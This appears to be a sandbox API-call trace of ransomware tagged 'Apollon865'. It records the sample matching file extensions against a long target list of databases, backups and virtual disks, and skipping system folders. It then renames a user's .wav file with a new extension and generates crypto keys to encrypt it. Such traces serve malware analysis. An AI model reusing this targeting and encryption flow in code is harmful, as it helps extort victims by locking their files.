	[0088.211] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.211] lstrlenW (lpString="idb") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.211] lstrlenW (lpString="ihx") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.211] lstrlenW (lpString="itdb") returned 4
	[0088.211] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.211] lstrlenW (lpString="itw") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.211] lstrlenW (lpString="jet") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.211] lstrlenW (lpString="jtx") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.211] lstrlenW (lpString="kdb") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.211] lstrlenW (lpString="kexi") returned 4
	[0088.211] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.211] lstrlenW (lpString="kexic") returned 5
	[0088.211] lstrcmpiW (lpString1="0.wav", lpString2="kexic") returned -1
	[0088.211] lstrlenW (lpString="kexis") returned 5
	[0088.211] lstrcmpiW (lpString1="0.wav", lpString2="kexis") returned -1
	[0088.211] lstrlenW (lpString="lgc") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.211] lstrlenW (lpString="lwx") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.211] lstrlenW (lpString="maf") returned 3
	[0088.211] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.211] lstrlenW (lpString="maq") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.212] lstrlenW (lpString="mar") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.212] lstrlenW (lpString="marshal") returned 7
	[0088.212] lstrcmpiW (lpString1="Pm0.wav", lpString2="marshal") returned 1
	[0088.212] lstrlenW (lpString="mas") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.212] lstrlenW (lpString="mav") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.212] lstrlenW (lpString="maw") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.212] lstrlenW (lpString="mdbhtml") returned 7
	[0088.212] lstrcmpiW (lpString1="Pm0.wav", lpString2="mdbhtml") returned 1
	[0088.212] lstrlenW (lpString="mdn") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.212] lstrlenW (lpString="mdt") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.212] lstrlenW (lpString="mfd") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.212] lstrlenW (lpString="mpd") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.212] lstrlenW (lpString="mrg") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.212] lstrlenW (lpString="mud") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.212] lstrlenW (lpString="mwb") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.212] lstrlenW (lpString="myd") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.212] lstrlenW (lpString="ndf") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.212] lstrlenW (lpString="nnt") returned 3
	[0088.212] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.212] lstrlenW (lpString="nrmlib") returned 6
	[0088.213] lstrcmpiW (lpString1="m0.wav", lpString2="nrmlib") returned -1
	[0088.213] lstrlenW (lpString="ns2") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.213] lstrlenW (lpString="ns3") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.213] lstrlenW (lpString="ns4") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.213] lstrlenW (lpString="nsf") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.213] lstrlenW (lpString="nv") returned 2
	[0088.213] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.213] lstrlenW (lpString="nv2") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.213] lstrlenW (lpString="nwdb") returned 4
	[0088.213] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.213] lstrlenW (lpString="nyf") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.213] lstrlenW (lpString="odb") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.213] lstrlenW (lpString="odb") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.213] lstrlenW (lpString="oqy") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.213] lstrlenW (lpString="ora") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.213] lstrlenW (lpString="orx") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.213] lstrlenW (lpString="owc") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.213] lstrlenW (lpString="p96") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.213] lstrlenW (lpString="p97") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.213] lstrlenW (lpString="pan") returned 3
	[0088.213] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.214] lstrlenW (lpString="pdb") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.214] lstrlenW (lpString="pdm") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.214] lstrlenW (lpString="pnz") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.214] lstrlenW (lpString="qry") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.214] lstrlenW (lpString="qvd") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.214] lstrlenW (lpString="rbf") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.214] lstrlenW (lpString="rctd") returned 4
	[0088.214] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.214] lstrlenW (lpString="rod") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.214] lstrlenW (lpString="rodx") returned 4
	[0088.214] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.214] lstrlenW (lpString="rpd") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.214] lstrlenW (lpString="rsd") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.214] lstrlenW (lpString="sas7bdat") returned 8
	[0088.214] lstrcmpiW (lpString1="QPm0.wav", lpString2="sas7bdat") returned -1
	[0088.214] lstrlenW (lpString="sbf") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.214] lstrlenW (lpString="scx") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.214] lstrlenW (lpString="sdb") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.214] lstrlenW (lpString="sdc") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.214] lstrlenW (lpString="sdf") returned 3
	[0088.214] lstrcmpiW (lpString1="wav", lpString2="sdf") returned 1
	[0088.215] lstrlenW (lpString="sis") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="sis") returned 1
	[0088.215] lstrlenW (lpString="spq") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="spq") returned 1
	[0088.215] lstrlenW (lpString="te") returned 2
	[0088.215] lstrcmpiW (lpString1="av", lpString2="te") returned -1
	[0088.215] lstrlenW (lpString="teacher") returned 7
	[0088.215] lstrcmpiW (lpString1="Pm0.wav", lpString2="teacher") returned -1
	[0088.215] lstrlenW (lpString="tmd") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="tmd") returned 1
	[0088.215] lstrlenW (lpString="tps") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="tps") returned 1
	[0088.215] lstrlenW (lpString="trc") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.215] lstrlenW (lpString="trc") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="trc") returned 1
	[0088.215] lstrlenW (lpString="trm") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="trm") returned 1
	[0088.215] lstrlenW (lpString="udb") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="udb") returned 1
	[0088.215] lstrlenW (lpString="udl") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="udl") returned 1
	[0088.215] lstrlenW (lpString="usr") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="usr") returned 1
	[0088.215] lstrlenW (lpString="v12") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="v12") returned 1
	[0088.215] lstrlenW (lpString="vis") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="vis") returned 1
	[0088.215] lstrlenW (lpString="vpd") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="vpd") returned 1
	[0088.215] lstrlenW (lpString="vvv") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="vvv") returned 1
	[0088.215] lstrlenW (lpString="wdb") returned 3
	[0088.215] lstrcmpiW (lpString1="wav", lpString2="wdb") returned -1
	[0088.215] lstrlenW (lpString="wmdb") returned 4
	[0088.216] lstrcmpiW (lpString1=".wav", lpString2="wmdb") returned -1
	[0088.216] lstrlenW (lpString="wrk") returned 3
	[0088.216] lstrcmpiW (lpString1="wav", lpString2="wrk") returned -1
	[0088.216] lstrlenW (lpString="xdb") returned 3
	[0088.216] lstrcmpiW (lpString1="wav", lpString2="xdb") returned -1
	[0088.216] lstrlenW (lpString="xld") returned 3
	[0088.216] lstrcmpiW (lpString1="wav", lpString2="xld") returned -1
	[0088.216] lstrlenW (lpString="xmlff") returned 5
	[0088.216] lstrcmpiW (lpString1="0.wav", lpString2="xmlff") returned -1
	[0088.216] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\NlgTXWxOvXmlJQPm0.wav.Apollon865") returned 86
	[0088.216] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\NlgTXWxOvXmlJQPm0.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\nlgtxwxovxmljqpm0.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\NlgTXWxOvXmlJQPm0.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\nlgtxwxovxmljqpm0.wav.apollon865"), dwFlags=0x1) returned 1
	[0088.218] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\NlgTXWxOvXmlJQPm0.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\nlgtxwxovxmljqpm0.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.218] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=6556) returned 1
	[0088.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.218] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.219] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.219] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.219] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ca0, lpName=0x0) returned 0x15c
	[0088.219] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ca0) returned 0x100000
	[0088.220] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.220] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.220] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.221] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.221] CloseHandle (hObject=0x15c) returned 1
	[0088.221] CloseHandle (hObject=0x9c) returned 1
	[0088.222] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.222] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.222] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.223] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94f36cc0, ftCreationTime.dwHighDateTime=0x1d4ccf2, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x30376570, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sCh6VoGm3PBEmduP0_I", cAlternateFileName="SCH6VO~1")) returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="Apollon865.txt.exe") returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2=".") returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="..") returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="windows") returned -1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="bootmgr") returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="temp") returned -1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="pagefile.sys") returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="boot") returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="ids.txt") returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="ntuser.dat") returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="perflogs") returned 1
	[0088.223] lstrcmpiW (lpString1="sCh6VoGm3PBEmduP0_I", lpString2="MSBuild") returned 1
	[0088.223] lstrlenW (lpString="sCh6VoGm3PBEmduP0_I") returned 19
	[0088.223] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\NlgTXWxOvXmlJQPm0.wav") returned 75
	[0088.223] lstrcpyW (in: lpString1=0x119e674, lpString2="sCh6VoGm3PBEmduP0_I" | out: lpString1="sCh6VoGm3PBEmduP0_I") returned="sCh6VoGm3PBEmduP0_I"
	[0088.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0088.223] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x94) returned 0x5c8f30
	[0088.223] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7990 | out: ListHead=0x5b75f0, ListEntry=0x5b7990) returned 0x5b7b10
	[0088.223] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6338f0, ftCreationTime.dwHighDateTime=0x1d4d3a9, ftLastAccessTime.dwLowDateTime=0x8cde90, ftLastAccessTime.dwHighDateTime=0x1d4c612, ftLastWriteTime.dwLowDateTime=0x8cde90, ftLastWriteTime.dwHighDateTime=0x1d4c612, nFileSizeHigh=0x0, nFileSizeLow=0x620d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vk2Z6iCBtNXn.wav", cAlternateFileName="VK2Z6I~1.WAV")) returned 1
	[0088.223] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.223] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="Apollon865.txt.exe") returned 1
	[0088.223] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2=".") returned 1
	[0088.223] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="..") returned 1
	[0088.223] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="windows") returned -1
	[0088.223] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="bootmgr") returned 1
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="temp") returned 1
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="pagefile.sys") returned 1
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="boot") returned 1
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="ids.txt") returned 1
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="ntuser.dat") returned 1
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="perflogs") returned 1
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2="MSBuild") returned 1
	[0088.224] lstrlenW (lpString="vk2Z6iCBtNXn.wav") returned 16
	[0088.224] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I") returned 73
	[0088.224] lstrcpyW (in: lpString1=0x119e674, lpString2="vk2Z6iCBtNXn.wav" | out: lpString1="vk2Z6iCBtNXn.wav") returned="vk2Z6iCBtNXn.wav"
	[0088.224] lstrlenW (lpString="vk2Z6iCBtNXn.wav") returned 16
	[0088.224] lstrlenW (lpString="Apollon865") returned 10
	[0088.224] lstrcmpiW (lpString1="CBtNXn.wav", lpString2="Apollon865") returned 1
	[0088.224] lstrlenW (lpString=".dll") returned 4
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2=".dll") returned 1
	[0088.224] lstrlenW (lpString=".lnk") returned 4
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2=".lnk") returned 1
	[0088.224] lstrlenW (lpString=".ini") returned 4
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2=".ini") returned 1
	[0088.224] lstrlenW (lpString=".sys") returned 4
	[0088.224] lstrcmpiW (lpString1="vk2Z6iCBtNXn.wav", lpString2=".sys") returned 1
	[0088.224] lstrlenW (lpString="vk2Z6iCBtNXn.wav") returned 16
	[0088.224] lstrlenW (lpString="bak") returned 3
	[0088.224] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.224] lstrlenW (lpString="ba_") returned 3
	[0088.224] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.224] lstrlenW (lpString="dbb") returned 3
	[0088.224] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.224] lstrlenW (lpString="vmdk") returned 4
	[0088.224] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.224] lstrlenW (lpString="rar") returned 3
	[0088.224] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.224] lstrlenW (lpString="zip") returned 3
	[0088.224] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.225] lstrlenW (lpString="tgz") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.225] lstrlenW (lpString="vbox") returned 4
	[0088.225] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.225] lstrlenW (lpString="vdi") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.225] lstrlenW (lpString="vhd") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.225] lstrlenW (lpString="vhdx") returned 4
	[0088.225] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.225] lstrlenW (lpString="avhd") returned 4
	[0088.225] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.225] lstrlenW (lpString="db") returned 2
	[0088.225] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.225] lstrlenW (lpString="db2") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.225] lstrlenW (lpString="db3") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.225] lstrlenW (lpString="dbf") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.225] lstrlenW (lpString="mdf") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.225] lstrlenW (lpString="mdb") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.225] lstrlenW (lpString="sql") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.225] lstrlenW (lpString="sqlite") returned 6
	[0088.225] lstrcmpiW (lpString1="Xn.wav", lpString2="sqlite") returned 1
	[0088.225] lstrlenW (lpString="sqlite3") returned 7
	[0088.225] lstrcmpiW (lpString1="NXn.wav", lpString2="sqlite3") returned -1
	[0088.225] lstrlenW (lpString="sqlitedb") returned 8
	[0088.225] lstrcmpiW (lpString1="tNXn.wav", lpString2="sqlitedb") returned 1
	[0088.225] lstrlenW (lpString="xml") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.225] lstrlenW (lpString="$er") returned 3
	[0088.225] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.226] lstrlenW (lpString="4dd") returned 3
	[0088.226] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.226] lstrlenW (lpString="4dl") returned 3
	[0088.226] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.226] lstrlenW (lpString="^^^") returned 3
	[0088.226] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.226] lstrlenW (lpString="abs") returned 3
	[0088.226] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.226] lstrlenW (lpString="abx") returned 3
	[0088.226] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.226] lstrlenW (lpString="accdb") returned 5
	[0088.226] lstrcmpiW (lpString1="n.wav", lpString2="accdb") returned 1
	[0088.226] lstrlenW (lpString="accdc") returned 5
	[0088.226] lstrcmpiW (lpString1="n.wav", lpString2="accdc") returned 1
	[0088.226] lstrlenW (lpString="accde") returned 5
	[0088.226] lstrcmpiW (lpString1="n.wav", lpString2="accde") returned 1
	[0088.226] lstrlenW (lpString="accdr") returned 5
	[0088.226] lstrcmpiW (lpString1="n.wav", lpString2="accdr") returned 1
	[0088.226] lstrlenW (lpString="accdt") returned 5
	[0088.226] lstrcmpiW (lpString1="n.wav", lpString2="accdt") returned 1
	[0088.226] lstrlenW (lpString="accdw") returned 5
	[0088.226] lstrcmpiW (lpString1="n.wav", lpString2="accdw") returned 1
	[0088.226] lstrlenW (lpString="accft") returned 5
	[0088.226] lstrcmpiW (lpString1="n.wav", lpString2="accft") returned 1
	[0088.226] lstrlenW (lpString="adb") returned 3
	[0088.226] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.226] lstrlenW (lpString="adb") returned 3
	[0088.226] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.226] lstrlenW (lpString="ade") returned 3
	[0088.226] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.226] lstrlenW (lpString="adf") returned 3
	[0088.226] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.226] lstrlenW (lpString="adn") returned 3
	[0088.226] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.226] lstrlenW (lpString="adp") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.227] lstrlenW (lpString="alf") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.227] lstrlenW (lpString="ask") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.227] lstrlenW (lpString="btr") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.227] lstrlenW (lpString="cat") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.227] lstrlenW (lpString="cdb") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.227] lstrlenW (lpString="ckp") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.227] lstrlenW (lpString="cma") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.227] lstrlenW (lpString="cpd") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.227] lstrlenW (lpString="dacpac") returned 6
	[0088.227] lstrcmpiW (lpString1="Xn.wav", lpString2="dacpac") returned 1
	[0088.227] lstrlenW (lpString="dad") returned 3
	[0088.227] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.227] lstrlenW (lpString="dadiagrams") returned 10
	[0088.227] lstrcmpiW (lpString1="CBtNXn.wav", lpString2="dadiagrams") returned -1
	[0088.227] lstrlenW (lpString="daschema") returned 8
	[0088.227] lstrcmpiW (lpString1="tNXn.wav", lpString2="daschema") returned 1
